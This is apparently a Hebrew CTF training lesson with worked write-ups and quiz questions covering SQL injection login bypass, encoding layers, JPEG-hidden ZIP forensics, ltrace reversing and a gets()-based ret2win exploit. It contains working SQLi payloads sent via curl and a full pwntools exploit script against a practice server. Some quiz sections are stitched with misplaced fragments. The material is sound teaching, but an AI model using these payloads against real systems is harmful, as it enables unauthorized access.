תרגול CTF טקטי
שיעור הסינתזה — כל הכלים יחד בזמן אמת
שיעורים 41–46 לימדו כלים נפרדים. שיעור זה הוא הסינתזה: נפתור 5 CTF Challenges מקטגוריות שונות, נלמד לזהות סוג אתגר תוך שניות, ונתרגל Writeup מקצועי — בדיוק כפי שנדרש בסדנת גאמא.
- Decision Tree — זיהוי קטגוריה ב-30 שניות
- ניהול זמן בCTF — 2 דקות Recon, מתי עוברים הלאה
- Challenge #1: Web — SQL Injection Login Bypass
- Challenge #2: Crypto — Multi-Layer Base64 + ROT13
- Challenge #3: Forensics — ZIP מוסתר בJPEG
- Challenge #4: Reverse — ltrace חושף strcmp
- Challenge #5: Pwn — Buffer Overflow + ret2win
- Writeup מקצועי — מבנה ודוגמה מלאה
- פלטפורמות CTF + ארגז כלים לפי קטגוריה
זיהוי מהיר: איזה סוג אתגר?
הכלל הראשון ב-CTF: לפני שמתחילים, לזהות את הקטגוריה. כל קטגוריה = כלים שונים, גישה שונה, ציפיות שונות. 2 דקות זיהוי = 20 דקות חסכון.
Decision Tree — 30 שניות לזיהוי
| רואים / מקבלים | קטגוריה | כלים ראשונים | שאלה ראשונה |
|---|---|---|---|
| URL לאתר, HTML, פורם | Web | Burp Suite, curl, DevTools | SQLi? XSS? IDOR? LFI? |
| Binary ELF/EXE, nc server port | Pwn / Reverse | checksec, file, strings | checksec → Pwn. 'find password' → Reverse |
| קובץ תמונה / PCAP / Log | Forensics | file, exiftool, binwalk, strings | מה מוסתר? איפה? |
| טקסט מוצפן, Base64 חשוד, Hash | Crypto | CyberChef, Python, dcode.fr | איזה cipher? מה ה-Key? |
| מתמטיקה, הגיון, ASCII art, חידה | Misc | Python, CyberChef, Google | מה ה-Pattern? מה הכלל? |
2. יש Binary (ELF/EXE)? → checksec → Canary/NX → Pwn | אין → Reverse
3. יש קובץ תמונה / PCAP / Log? → Forensics
4. יש טקסט מוצפן/מוזר? → Crypto
5. שאר? → Misc (פתח עם CyberChef + Google)
SGVsbG8gV29ybGQh. איך מזהים שזה Base64 ולא Hex?ניהול זמן: מתי עוברים הלאה?
ב-CTF, ניהול זמן הוא מיומנות קריטית לא פחות מהידע הטכני. פתרון 3 אתגרים קלים שווה יותר נקודות מכישלון על אתגר קשה אחד.
| שלב | זמן | מה עושים | מתי עוברים? |
|---|---|---|---|
| זיהוי | 2 דקות | קרא Description, file, strings, checksec | תמיד — סיום שלב זה חובה |
| גישה ראשונה | 10 דקות | נסה הכלים הברורים לקטגוריה | אם אין רמז — עבור |
| חקירה מעמיקה | 20 דקות | נסה גישות שונות, חשוב laterally | אחרי 20 דקות ללא פריצה |
| עבור קדימה | — | סמן האתגר, פתור אחרים | אחרי 30 דקות ללא התקדמות |
| חזרה | — | עיניים רעננות + רמז מFlag אחר | כשנשאר זמן |
! 4 מלכודות זמן נפוצות ב-CTF ›
Rabbit Hole: פרט שנראה חשוב אבל הוא הסחה. תסמן ותמשיך. אם אחרי 10 דקות עדיין לא מוביל לשום מקום — זו פינת ארנב.
Over-engineering: חושבים שזה מורכב כשהפתרון פשוט (strings, base64). שאל תמיד: "האם ניסיתי את הגישה הפשוטה ביותר?"
Tunnel Vision: ממוקד בגישה אחת יותר מ-10 דקות. נסה גישה שונה לחלוטין. לפעמים אתגר Web מכיל Crypto, ואתגר Forensics מכיל Reverse.
Challenges #1 ו-#2: Web ו-Crypto
Description: "יש לנו Admin Panel. המנהל שכח את הסיסמה אבל Username שלו הוא admin. מצא דרך להיכנס."
Writeup — SQL Injection Login Bypass
# ─── שלב 1: זיהוי ───────────────────────────────────────────
# URL + Login Form → Web Challenge. Username ידוע: admin.
# ─── שלב 2: ניסיונות ראשונים ────────────────────────────────
# admin:admin, admin:password, admin:1234 → 'Invalid credentials'
# ─── שלב 3: SQL Injection ────────────────────────────────────
# מה Backend עושה?
# SELECT * FROM users WHERE username='INPUT' AND password='PASS'
# Payload בUsername: admin'--
# Query שנוצר:
# SELECT * FROM users WHERE username='admin'--' AND password='x'
# ↑↑ Comment! כל מה שאחרי -- מוסר
# = SELECT * FROM users WHERE username='admin'
# → מחזיר שורת admin ללא בדיקת סיסמה!
$ curl -X POST http://ctf.gamma.il:8080/login \
-d "username=admin'--&password=x" -L
# Output: Welcome, admin! Flag: CTF{sql_1nj3ct1on_byp4ss}
# ─── אלטרנטיב: OR Bypass ─────────────────────────────────────
# Username: ' OR '1'='1'--
# = SELECT * FROM users WHERE username='' OR '1'='1'--
# '1'='1' תמיד TRUE → Login כ-User הראשוןDescription: "המרגל הצפין את ההודעה בכמה שכבות. האם תוכל לפצח?"
נתון: VmpSSmVGWX...
Writeup — Base64 שכבות + ROT13
# ─── שלב 1: זיהוי ─────────────────────────────────────────────
# טקסט ארוך, תווים A-Za-z0-9+/= → BASE64!
# decode ראשון לא נותן טקסט קריא → שכבות מרובות
# ─── שלב 2: CyberChef Magic ───────────────────────────────────
# פתח CyberChef → הדבק → לחץ 'Magic'
# מגלה אוטומטית: Base64 × 4 → ROT13 → Flag!
# ─── שלב 3: Python לאימות ─────────────────────────────────────
import base64, codecs
data = 'VmpSSmVGWX...'
for i in range(4):
data = base64.b64decode(data).decode()
print(f'Layer {i+1}: {data[:40]}...')
flag = codecs.decode(data, 'rot_13')
print(f'Flag: {flag}')
# → Flag: CTF{enc0dings_ar3_like_onions}admin'-- מאפשר כניסה ללא סיסמה?Challenges #3 ו-#4: Forensics ו-Reverse
Description: "קיבלנו תמונה מחשוד. משהו מוסתר בה."
קובץ: photo.jpg (2.4MB)
Writeup — Forensics Methodology מלא
# ─── שלב 1: Reconnaissance ─────────────────────────────────
$ file photo.jpg
photo.jpg: JPEG image data, JFIF standard 1.01
$ ls -la photo.jpg
-rw-r--r-- 1 user user 2457600 Jun 15 14:30 photo.jpg
# 2.4MB לתמונה פשוטה → חשוד! תמונה 800×600 ~ 200KB
# ─── שלב 2: strings ─────────────────────────────────────────
$ strings photo.jpg | grep -iE 'ctf|flag|pass|secret'
# ← ריק. Flag לא חשוף כString.
# ─── שלב 3: ExifTool ────────────────────────────────────────
$ exiftool photo.jpg
Comment : Nothing to see here! ← classic misdirection!
GPS Latitude : 32° 4' 33.60" N ← Rabbit Hole (GPS לא רלוונטי)
GPS Longitude : 34° 46' 55.56" E
# ─── שלב 4: binwalk ─────────────────────────────────────────
$ binwalk photo.jpg
DECIMAL HEXADECIMAL DESCRIPTION
0 0x0 JPEG image data
241920 0x3B100 Zip archive data → 'secret/'
241980 0x3B13C Zip archive data → 'secret/flag.txt'
242100 0x3B1B4 End of Zip archive
# ← ZIP מוסתר בסוף ה-JPEG! Steganography פשוטה
# ─── שלב 5: חילוץ ───────────────────────────────────────────
$ binwalk -e photo.jpg
$ cat _photo.jpg.extracted/secret/flag.txt
CTF{hidd3n_z1p_1ns1de_jpeg}Description: "יש לנו Vault עם קוד. מצא את הקוד הנכון."
קובץ: vault (ELF 64-bit binary)
Writeup — ltrace חושף strcmp
# ─── שלב 1: Recon ────────────────────────────────────────────
$ file vault
vault: ELF 64-bit LSB executable, x86-64, dynamically linked
$ strings vault | grep -iE 'flag|ctf|correct|wrong|access'
Wrong code!
Access Granted!
Flag: %s
# ─── שלב 2: ltrace — הכלי הראשון לRE! ──────────────────────
$ ltrace ./vault
Enter vault code: test
strcmp("test", "g4mm4_v4ult") ← !!! הקוד חשוף!
puts("Wrong code!")
$ ./vault
Enter vault code: g4mm4_v4ult
Access Granted! Flag: CTF{v4ult_cr4ck3d}
# ─── אלטרנטיב: Ghidra אם ltrace לא עובד ─────────────────────
# Strings → "Access Granted" → Xref → check_code()
# Pseudocode (F5):
# int check_code(char *input) {
# return strcmp(input, "g4mm4_v4ult") == 0;
# }
# ← הקוד גלוי לחלוטין ב-Pseudocode!Challenge #5: Pwn + Writeup מקצועי
Description: "שרת ישן רץ. יש לו bug. תנצל אותו ותשיג את ה-Flag."
נתון: nc pwn.ctf.gamma.il 4000 + Source Code
Source Code + Exploit מלא
// ─── server.c ─────────────────────────────────────────────
void print_flag() { system("/bin/cat flag.txt"); }
void handle_name() {
char name[48];
printf("What is your name? ");
gets(name); // ← VULNERABLE! gets() = no bounds check
printf("Hello, %s!\n", name);
}
// ─── שלב 1: Analysis ─────────────────────────────────────────
$ checksec --file=./server
Stack: No canary found ← BOF ישיר!
NX: NX disabled ← Stack Executable
PIE: No PIE (0x400000) ← כתובות קבועות!
$ nm ./server | grep print_flag
0000000000401156 T print_flag ← כתובת קבועה: 0x401156
// ─── שלב 2: מצא Offset עם cyclic ──────────────────────────
$ python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))" | ./server
Segmentation fault
$ gdb ./server
(gdb) run < <(python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))")
Program received signal SIGSEGV
(gdb) x/gx $rsp
0x7fffe8: 0x6161616161616166 ← 'faaaaaaa' LE
$ python3 -c "from pwn import *; print(cyclic_find(0x6161616161616166))"
56 ← Offset = 56 (48 buffer + 8 saved RBP)
// ─── שלב 3: Build Exploit ────────────────────────────────────
from pwn import *
p = remote('pwn.ctf.gamma.il', 4000)
offset = 56
print_flag = 0x0000000000401156
payload = b'A' * offset
payload += p64(print_flag) # p64 = Little-Endian 8 bytes
p.sendlineafter(b'What is your name? ', payload)
print(p.recvall().decode())
# Output: Hello, AAAA...A\x56\x11\x40
# CTF{0ld_s3rv3r_n3w_tr1cks}Writeup מקצועי — התבנית
# Challenge Name : The Old Server
# Category : Pwn | Points: 200 | Platform: CTF Gamma 2024
## Description
"שרת ישן רץ. יש לו bug. תנצל ותשיג Flag."
## Reconnaissance
checksec: No Canary, NX disabled, No PIE → Buffer Overflow + ret2win
Source: gets() בhandle_name() = ללא הגבלת גודל → BOF קלאסי
## Vulnerability
gets() לא מגביל גודל קלט. Buffer[48] + 8 bytes Saved RBP = Offset 56.
Return Address נדרס עם כתובת print_flag().
## Exploit
1. מצאתי offset עם cyclic pattern → 56 bytes
2. כתובת print_flag() = 0x401156 (קבועה, ללא PIE)
3. Payload: b'A'*56 + p64(0x401156)
## Flag
CTF{0ld_s3rv3r_n3w_tr1cks}
## Lessons Learned
gets() = פונקציה מסוכנת. בקוד אמיתי: תמיד fgets(buf, sizeof(buf), stdin).
No Canary + No PIE + No NX = הסביבה הכי קלה ל-Pwn.- זיהוי: URL=Web, Binary=Pwn/Reverse, קובץ=Forensics, טקסט=Crypto — 30 שניות
- Time Management: 2→10→20→עבור קדימה. Forward motion wins!
- Web SQLi: admin'-- → Comment מסיר AND password → Login bypass
- Crypto: Base64 שכבות + ROT13. CyberChef Magic מזהה הכל אוטומטית
- Forensics: file → ls -la → strings → exiftool → binwalk → binwalk -e
- ltrace חושף Library calls (strcmp!) — הכלי הראשון ב-Reverse
- Pwn: checksec → cyclic offset → p64(target) → sendline
- x64 Pwn: offset = buffer + 8 (saved RBP). x86: offset = buffer + 4
- Writeup: Description → Recon → Vulnerability → Exploit → Flag → Lessons
- פלטפורמות: PicoCTF לתרגול, CTFtime לאירועים, pwn.college לPwn/RE
$ checksec ./chal
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
$ nm ./chal | grep win
0000000000401200 T win_func
$ python3 -c "from pwn import *; print(cyclic_find(0x6161616b))"
40 # ← cyclic_find ב-x86 (32bit)מה ה-Payload?$ file mystery.png
mystery.png: PNG image data, 800x600
$ ls -la mystery.png
-rw-r--r-- 1 user 45056 mystery.png # 45KB
$ strings mystery.png | tail -5
IEND
Q1RGe3N0ZWdhbm9ncmFwaHlfaXNfZnVufQ==
# אחרון!מה ה-Flag?פלטפורמות CTF וארגז הכלים המלא
ידע ללא תרגול = אפס. הנה פלטפורמות לתרגול לפני גאמא, ואיסוף הכלים לכל קטגוריה.
פלטפורמות מומלצות
| פלטפורמה | URL | מה יש? | מומלץ ל- |
|---|---|---|---|
| PicoCTF | picoctf.com | Archive 500+ challenges | מתחילים, כל קטגוריה |
| OverTheWire | overthewire.org | Wargames (Bandit) | Linux, Crypto |
| HackTheBox | hackthebox.com | Machines + Challenges | Penetration Testing |
| pwn.college | pwn.college | Pwn/RE מובנה | Pwn ו-RE מעמיק |
| CryptoHack | cryptohack.org | Crypto בלבד | Crypto מתקדם |
| CTFtime | ctftime.org | לוח שנה CTF עולמי | אירועי CTF Live |
ארגז כלים לפי קטגוריה
| קטגוריה | כלים חיוניים | כלים מתקדמים |
|---|---|---|
| Web | Burp Suite, curl, Browser DevTools | ffuf, sqlmap, nikto |
| Crypto | CyberChef, Python, dcode.fr | SageMath, RsaCtfTool |
| Forensics | file, strings, exiftool, binwalk, Wireshark | Volatility, foremost, zsteg |
| Reverse | strings, ltrace, strace, Ghidra | IDA, Radare2, angr |
| Pwn | GDB+pwndbg, pwntools, checksec | ROPgadget, one_gadget, libc-database |
| Stego | zsteg, steghide, Audacity | StegSolve, stegseek |
A. checksec B. cyclic() C. nm | grep flag D. p64(addr) + sendline E. file binary
אתגר מעשי — CTF רב-קטגורי — Crypto, Forensics, RE, Algo
פורמט מיון אמיתי: מתוזמן, רב-קטגורי, תחת לחץ. בונוס-זמן על פתרון מהיר. ההגשה נבדקת אוטומטית מול מקרי-קצה נסתרים.
שאלות תרגול ותשובות (18)
שאלה 1.1 — זיהוי קטגוריה · קיבלת אתגר CTF עם הנחיה: "nc pwn.ctf.gamma.il 4000" ו-Binary בשם server. מה הצעד הראשון?
- א. פתח את השרת ב-Burp Suite ונתח לעומק את תעבורת ה-HTTP שלו
- ב. הרץ checksec על ה-Binary וזהה מהן ההגנות הפעילות בו כרגע
- ג. טען מיד את הקובץ ל-CyberChef ונסה לפענח את המחרוזות הפנימיות
- ד. פתח את Ghidra וקרא את כל הפסאודו-קוד של התוכנית מההתחלה
✓ תשובה: ב) — nc + Binary = Pwn. Workflow: file server → checksec server → strings server → GDB. checksec מגדיר את האסטרטגיה: No Canary+No NX+No PIE → Shellcode/ret2win ישיר. Canary+NX+PIE → Format String Leak + ROP.
שאלה 1.2 — Crypto vs Misc · קיבלת: SGVsbG8gV29ybGQh. איך מזהים שזה Base64 ולא Hex?
SGVsbG8gV29ybGQh
- א. Base64 חייב תמיד להסתיים בסימן =, ולכן היעדרו מעיד ודאית על Hex
- ב. מחרוזת Hex ארוכה תמיד בדיוק פי שניים מ-Base64 של אותו הטקסט
- ג. לא ניתן להבחין בין השניים בלי להריץ את הקובץ בכלי פענוח ייעודי
- ד. אותיות גדולות וקטנות יחד מעידות על Base64; ב-Hex יש רק 0-9 ו-a-f
✓ תשובה: ד) — Hex charset: [0-9a-f] בלבד. Base64 charset: [A-Za-z0-9+/=]. "SGVsbG8" מכיל 'S','G','V','s','b','G' — אותיות גדולות + קטנות → Base64. echo 'SGVsbG8gV29ybGQh' | base64 -d = "Hello World!"
שאלה 1.3 — ltrace vs strace · מתי תשתמש ב-ltrace ומתי ב-strace?
- א. strace מיועד ל-Reverse Engineering, ואילו ltrace מתאים ל-Forensics
- ב. ltrace פועל אך ורק בסביבת Windows, ו-strace אך ורק בסביבת Linux
- ג. ltrace עוקב אחר קריאות-ספרייה (טוב ל-RE); strace אחר קריאות-מערכת
- ד. שני הכלים מציגים בדיוק אותו מידע, ולכן אין ביניהם הבדל מעשי
✓ תשובה: ג) — ltrace ./vault → "strcmp('test', 'g4mm4_v4ult')" — חשף את ה-password! strace ./prog → "open('/etc/passwd', O_RDONLY)" — חשף מה הprogram קורא. Reverse: ltrace קודם. Forensics/Malware: strace קודם.
שאלה 2.1 — ניהול זמן · עברו 25 דקות על אתגר Forensics. ניסית file, exiftool, strings, binwalk — ואין תוצאה. יש עוד 3 אתגרים שלא נגעת בהם. מה עושים?
- א. המשך להשקיע עוד שעה שלמה על אותו אתגר בדיוק עד שהוא נפתר
- ב. פנה מיד למארגנים ובקש מהם Hint כדי לא להמשיך ולאבד זמן יקר
- ג. עבור לאתגרים האחרים, סמן את זה לחזרה, ושוב אליו רענן מאוחר יותר
- ד. ותר על האתגר הזה באופן סופי והתמקד אך ורק בשאר האתגרים
✓ תשובה: ג) — כלל CTF: אחרי 30 דקות ללא התקדמות → עבור קדימה. 3 אתגרים שלא פתחת = נקודות בטוחות. חזרה לאתגר הראשון עם עיניים רעננות לפעמים חושפת את הפתרון תוך 2 דקות. Forward motion wins.
שאלה 2.2 — Rabbit Hole · באתגר Forensics מצאת קואורדינטות GPS ב-exiftool. בילית 15 דקות במיפוי המיקום ולא מצאת flag. מה זה אומר?
- א. ה-GPS הוא תמיד רלוונטי, ולכן יש להמשיך ולבדוק עוד שכבות מיקום
- ב. נדרש כאן חיבור אינטרנט חי כדי להשלים את פענוח נתוני הקואורדינטות
- ג. כנראה Rabbit Hole; חזור לשיטות Forensics בסיסיות על הקובץ עצמו
- ד. יש למפות את הקואורדינטות בכלי GIS מקצועי כדי להשיג דיוק רב יותר
✓ תשובה: ג) — Rabbit Hole = פרט שנראה חשוב אבל הוא הסחה. GPS ב-exiftool נפוץ כ-misdirection ב-CTF. כשתקוע: חזור לבסיס. binwalk על קובץ JPEG לפעמים מגלה ZIP מוסתר (כמו ב-Challenge #3 בשיעור זה).
שאלה 2.3 — אסטרטגיה · CTF עם 8 אתגרים: 3 קלים (50 נקודות כל אחד), 3 בינוניים (150 נקודות), 2 קשים (400 נקודות). מה הסדר האופטימלי?
admin
- א. התחל דווקא מהקשים, מפני שהם המזכים בהכי הרבה נקודות ליחידת מאמץ
- ב. פתור קלים, אחריהם בינוניים, וקשים רק אם יישאר זמן — מקסום נקודות
- ג. פתח את כל שמונת האתגרים בבת-אחת ועבוד על כולם יחד במקביל
- ד. הסדר אינו משנה כלל, שהרי בסופו של דבר תפתור ממילא את כולם
✓ תשובה: ב) — קלים ראשון: ודאות גבוהה לנקודות, מהירים לפתרון, נותנים ביטחון ורמזים לאחרים. 3 קלים = 150 נקודות בוטחות. קשים: 400 נקודות אבל לא ודאי. Greedy approach: מקסם נקודות צבורות בזמן נתון.
שאלה 3.1 — SQL Injection · מדוע ה-payload admin'-- מאפשר כניסה ללא סיסמה?
admin'--
- א. ה-' סוגר את המחרוזת וה--- הופך את בדיקת הסיסמה כולה להערה
- ב. admin הוא שם-משתמש של ברירת-מחדל שאינו מצריך סיסמה כלל
- ג. הרצף -- הוא-הוא הסיסמה השמורה של המשתמש בשם admin במערכת
- ד. השרת פשוט אינו טורח לאמת סיסמאות עבור חשבונות של מנהלי מערכת
✓ תשובה: א) — SQL: SELECT * FROM users WHERE username='admin'--' AND password='x'. ה-' אחרי admin סוגר את הstring. -- מתחיל comment → AND password='x' נמחק לוגית. Query = WHERE username='admin' → מחזיר admin → Login!
שאלה 3.2 — Crypto Layers · decode ראשון של Base64 נתן עוד Base64. מה הכלי המהיר ביותר לזיהוי כמות השכבות?
- א. כתוב לולאת Python שתפענח את הטקסט שוב ושוב עד שייגמרו כל השכבות
- ב. נסה ידנית בשורת-הפקודה עם base64 -d חוזר ונשנה עד לפתרון הסופי
- ג. CyberChef Magic מזהה אוטומטית את שכבות ה-Encoding ובונה Recipe מלא
- ד. השתמש ב-dcode.fr כדי לזהות ולפענח כל שכבת Encoding אחת בנפרד
✓ תשובה: ג) — CyberChef Magic: מנתח טקסט, מזהה encoding וmanually מציע Recipe מלא. לCTF Crypto: CyberChef Magic = צעד ראשון תמיד. Python שימושי לאימות או כשCyberChef לא מגיע לתשובה הנכונה.
שאלה 3.3 — ROT13 · מה ROT13 ואיך מזהים אותו?
# ─── שלב 1: Reconnaissance ─────────────────────────────────
$ file photo.jpg
photo.jpg: JPEG image data, JFIF standard 1.01
$ ls -la photo.jpg
-rw-r--r-- 1 user user 2457600 Jun 15 14:30 photo.jpg
# 2.4MB לתמונה פשוטה → חשוד! תמונה 800×600 ~ 200KB
# ─── שלב 2: strings ─────────────────────────────────────────
$ strings photo.jpg | grep -iE 'ctf|flag|pass|secret'
# ← ריק. Flag לא חשוף כString.
# ─── שלב 3: ExifTool ────────────────────────────────────────
$ exiftool photo.jpg
Comment : Nothing to see here! ← classic misdirection!
GPS Latitude : 32° 4' 33.60" N ← Rabbit Hole (GPS לא רלוונטי)
GPS Longitude : 34° 46' 55.56" E
# ─── שלב 4: binwalk ─────────────────────────────────────────
$ binwalk photo.jpg
DECIMAL HEXADECIMAL DESCRIPTION
0 0x0 JPEG image data
241920 0x3B100 Zip archive data → 'secret/'
241980 0x3B13C Zip archive data → 'secret/flag.txt'
242100 0x3B1B4 End of Zip archive
# ← ZIP מוסתר בסוף ה-JPEG! Steganography פשוטה
# ─── שלב 5: חילוץ ───────────────────────────────────────────
$ binwalk -e photo.jpg
$ cat _photo.jpg.extracted/secret/flag.txt
CTF{hidd3n_z1p_1ns1de_jpeg}- א. הצפנת AES סימטרית שמשתמשת במפתח שאורכו הוא בדיוק 13 בתים
- ב. הזזת כל בית (Byte) שלם בערך של 13, במקום הזזת אותיות בלבד
- ג. פונקציית Hash חד-כיוונית שמבצעת 13 סבבים חוזרים על הקלט
- ד. הזזת כל אות ב-13 מקומות; ניכר כשהטקסט "כמעט קריא" אך משובש
✓ תשובה: ד) — ROT13: A→N, B→O, ..., N→A (symmetric! ROT13(ROT13(x))=x). זיהוי: "Gur synt vf..." → "The flag is...". נפוץ ב-CTF בשילוב עם Base64. דרך: CyberChef ROT13 או Python: codecs.decode(text, 'rot_13').
שאלה 4.1 — Forensics Methodology · מה הסדר הנכון של כלי Forensics לקובץ JPEG חשוד?
- א. binwalk → strings → file → exiftool: חילוץ תחילה ורק אחריו זיהוי
- ב. Ghidra → IDA → strings: ניתוח סטטי מעמיק של הקובץ עוד לפני הכל
- ג. file → ls -la → strings → exiftool → binwalk, מהפשוט אל המורכב
- ד. פתח מיד ב-Hex Editor וקרא באופן ידני את כל הבתים הגולמיים
✓ תשובה: ג) — Forensics workflow: file (סוג קובץ) → ls -la (גודל חשוד?) → strings (פלאג גלוי?) → exiftool (metadata) → binwalk (מוסתר?) → binwalk -e (חלץ). מהפשוט למורכב. 2.4MB ל-JPEG פשוט = red flag מיידי.
שאלה 4.2 — binwalk · מה עושה binwalk photo.jpg לעומת binwalk -e photo.jpg?
- א. הדגל -e מפעיל מצב שמפענח קבצים מוצפנים שנמצאים בתוך התמונה
- ב. בלי דגל הוא סורק ומדפיס מה מוסתר; עם -e גם מחלץ לתיקייה
- ג. הדגל -e רק מוסיף פלט מפורט (verbose) בלי לשנות את הפעולה כלל
- ד. שתי הפקודות הן זהות באופן מוחלט ומבצעות בדיוק את אותו הדבר
✓ תשובה: ב) — binwalk: Scan only. מציג DECIMAL + DESCRIPTION. binwalk -e: Extract. מחלץ לתיקיה _photo.jpg.extracted/. תמיד: scan קודם לראות מה שם, ואז -e לחלץ. זהירות: -e לפעמים מחלץ מאות קבצים.
שאלה 4.3 — Reverse Engineering · ltrace לא עובד (האפליקציה מזהה אותו). מה הצעד הבא?
nc pwn.ctf.gamma.il 4000
- א. הרץ את ltrace שוב, הפעם עם הרשאות sudo, כדי לעקוף את החסימה
- ב. החלף מ-ltrace ל-strace, שאותו אפליקציות אינן מסוגלות כלל לזהות
- ג. עבור ל-Static Analysis ב-Ghidra: Strings ← Xref ← Pseudocode
- ד. ותר על האתגר, שכן הגנת Anti-Debug הופכת אותו כעת לבלתי-פתיר
✓ תשובה: ג) — ltrace = Dynamic, יכול להיות מוגן ע"י Anti-Debug. Static Analysis (Ghidra/IDA) לא מריץ את הBinary → לא ניתן לזיהוי. Workflow: ltrace כישל → Ghidra → F5 → strcmp → קוד. או: GDB bp על strcmp → x/s $rsi.
גאמא סגנון א׳ — Pwn Dry Run · $ checksec ./chal Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) $ nm ./chal | grep win 0000000000401200 T win_func $ python3 -c "from pwn import *; print(cyclic_find(0x6161616b))" 40 # ← cyclic_find ב-x86 (32bit)מה ה-Payload?
$ checksec ./chal Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) $ nm ./chal | grep win 0000000000401200 T win_func $ python3 -c "from pwn import *; print(cyclic_find(0x6161616b))" 40 # ← cyclic_find ב-x86 (32bit)
- א. b'A'*40 + p64(0x401200) — כתובת בת 8 בתים כמו בסביבת 64-bit
- ב. b'A'*44 + p32(0x401200) — ריפוד של 44 בתים לפני כתובת החזרה
- ג. b'A'*40 + p32(0x401200) — ב-32-bit הכתובת היא בת 4 בתים
- ד. b'A'*40 + p64(0x401200) + b'B'*4 — כתובת 8 בתים בתוספת ריפוד
✓ תשובה: ג) — cyclic_find(0x6161616b) מצא offset=40. 0x6161616b = 'kaaa' ב-LE = x86 (32bit) pattern. ב-x86: Return Address = 4 bytes → p32. ב-x64: 8 bytes → p64. Payload: b'A'*40 + p32(0x401200).
גאמא סגנון ב׳ — Forensics + Crypto · $ file mystery.png mystery.png: PNG image data, 800x600 $ ls -la mystery.png -rw-r--r-- 1 user 45056 mystery.png # 45KB $ strings mystery.png | tail -5 IEND Q1RGe3N0ZWdhbm9ncmFwaHlfaXNfZnVufQ== # אחרון!מה ה-Flag?
$ file mystery.png mystery.png: PNG image data, 800x600 $ ls -la mystery.png -rw-r--r-- 1 user 45056 mystery.png # 45KB $ strings mystery.png | tail -5 IEND Q1RGe3N0ZWdhbm9ncmFwaHlfaXNfZnVufQ== # אחרון!
- א. Q1RGe3N0ZWdhbm9ncmFwaHlfaXNfZnVufQ== — המחרוזת המקורית היא ה-Flag
- ב. CTF{mystery_png} — הרכבה משם הקובץ מ-ומסוג התמונה שזוהה בו
- ג. נדרשת הרצת binwalk -e תחילה כדי לחלץ את ה-Flag המוסתר בקובץ
- ד. CTF{steganography_is_fun}, המתקבל מפענוח Base64 של המחרוזת
✓ תשובה: ד) — strings על PNG מצא Base64 מוסתר. decode: Q1RGe... → "CTF{steganography_is_fun}". Forensics + Crypto משולבים! PNG 45KB לתמונה 800×600 = גודל סביר (לא חשוד). Flag מוסתר כString ב-PNG metadata.
גאמא סגנון ג׳ — Writeup · מה חייב להיות בWriteup מקצועי לבוחן גאמא? (בחר את הרשימה המלאה ביותר)
# ─── Decode One-Liners ──────────────────────────────────────── $ echo 'SGVsbG8=' | base64 -d # Base64 → ASCII $ echo '48 65 6c 6c 6f' | xxd -r -p # Hex → ASCII $ echo 'Uryyb' | tr 'A-Za-z' 'N-ZA-Mn-za-m' # ROT13 # ─── Hash Identification ────────────────────────────────────── $ hash-identifier 5d41402abc4b2a76b9719d911017c592 # → MD5 # ─── Quick Forensics ────────────────────────────────────────── $ binwalk -e suspicious.jpg # חלץ קבצים מוסתרים $ exiftool file.jpg | grep -i 'comment\|gps\|author' $ strings file.bin | grep -iE 'ctf|flag|pass' # ─── Web Testing ────────────────────────────────────────────── $ curl -X POST http://target/login -d "username=admin'--&password=x" -L $ gobuster dir -u http://target/ -w /usr/share/wordlists/common.txt # ─── Pwn Quick-Start ───────────────────────────────────────── $ checksec --file=./binary $ python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))" | ./binary $ python3 -c "from pwn import *; print(cyclic_find(b'kaaa'))"
- א. שם ההצלחה, הקטגוריה, ה-Flag, וצילום-מסך של הפתרון הסופי בלבד
- ב. שם, קטגוריה, Recon, הפגיעות, ה-Exploit המדויק, ה-Flag ולקחים
- ג. רק ה-Flag עצמו, קוד ה-Exploit המלא, וזמן הפתרון הכולל של האתגר
- ד. תיאור קצר של האתגר, ה-Flag, ורשימת כל הכלים שבהם נעשה שימוש
✓ תשובה: ב) — Writeup מקצועי: (1) Name+Category+Points. (2) Description. (3) Recon — מה גיליתי ראשון. (4) Vulnerability — מה הבאג. (5) Exploit — קוד/פקודות מדויקות. (6) Flag. (7) Lessons. בגאמא: הסברת הWriteup לבוחן = חלק מהמיון.
שאלה 6.1 — אסטרטגיית תרגול · מה הסדר המומלץ לתרגול לפני גאמא?
- א. להתמקד אך ורק ב-pwn.college עד לשליטה מוחלטת בכל אחד מהנושאים
- ב. לתרגל אך ורק ב-HackTheBox, כיוון שהוא הקרוב ביותר לרמת המיון
- ג. PicoCTF ← OverTheWire ← HackTheBox ← CTF חי, עם Writeup יומי
- ד. להשלים עוד הרבה חומר תיאורטי לעומק לפני שמתחילים בתרגול המעשי
✓ תשובה: ג) — Progressive difficulty: PicoCTF (קל) → OverTheWire (Linux/Crypto) → HackTheBox (בינוני) → CTF Live (לחץ זמן אמיתי). כתיבת Writeup לכל אתגר = חזרה על הפתרון + תרגול הסברה. ←— מכין ישירות לסדנה.
שאלה 6.2 — Multi-Category · קיבלת אתגר עם תיאור: "מצאנו Binary שרץ על השרת. נראה שיש בו דלת אחורית. מצא ומנצל." מה זה?
- א. Crypto בלבד: כל שנדרש הוא לפענח את הסיסמה המוצפנת שבתוך ה-Binary
- ב. Forensics בלבד: יש לחלץ את הנתונים הנסתרים מתוך קובץ ה-Binary
- ג. Web בלבד: המשימה היא לתקוף את ממשק ה-HTTP שהשרת חושף כלפי חוץ
- ד. Reverse + Pwn: מציאת הדלת ב-Reverse וניצולה מול השרת ב-Pwn
✓ תשובה: ד) — "Binary + מצא" = Reverse. "מנצל + שרת" = Pwn. Flow: Ghidra/ltrace → מצא backdoor (למשל secret_password) → nc server → שלח password → Shell/Flag. אתגרים hybrids = נפוצים. תמיד זהה Noded Entry Point ראשון.
שאלה 6.3 — CTF Flow מלא · מה הסדר הנכון בין הפעולות הבאות לאתגר Pwn חדש? A. checksec B. cyclic() C. nm | grep flag D. p64(addr) + sendline E. file binary
def rsa_decrypt(n: int, e: int, c: int) -> int:
f = 2; p = None # פירוק n (מודולוס קטן)
while f * f <= n:
if n % f == 0: p = f; break
f += 1
q = n // p
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi) # d = e^-1 mod phi
return pow(c, d, n) # m = c^d mod n- א. B → A → E → C → D: איתור ה-offset עוד בטרם בוצע זיהוי של הקובץ
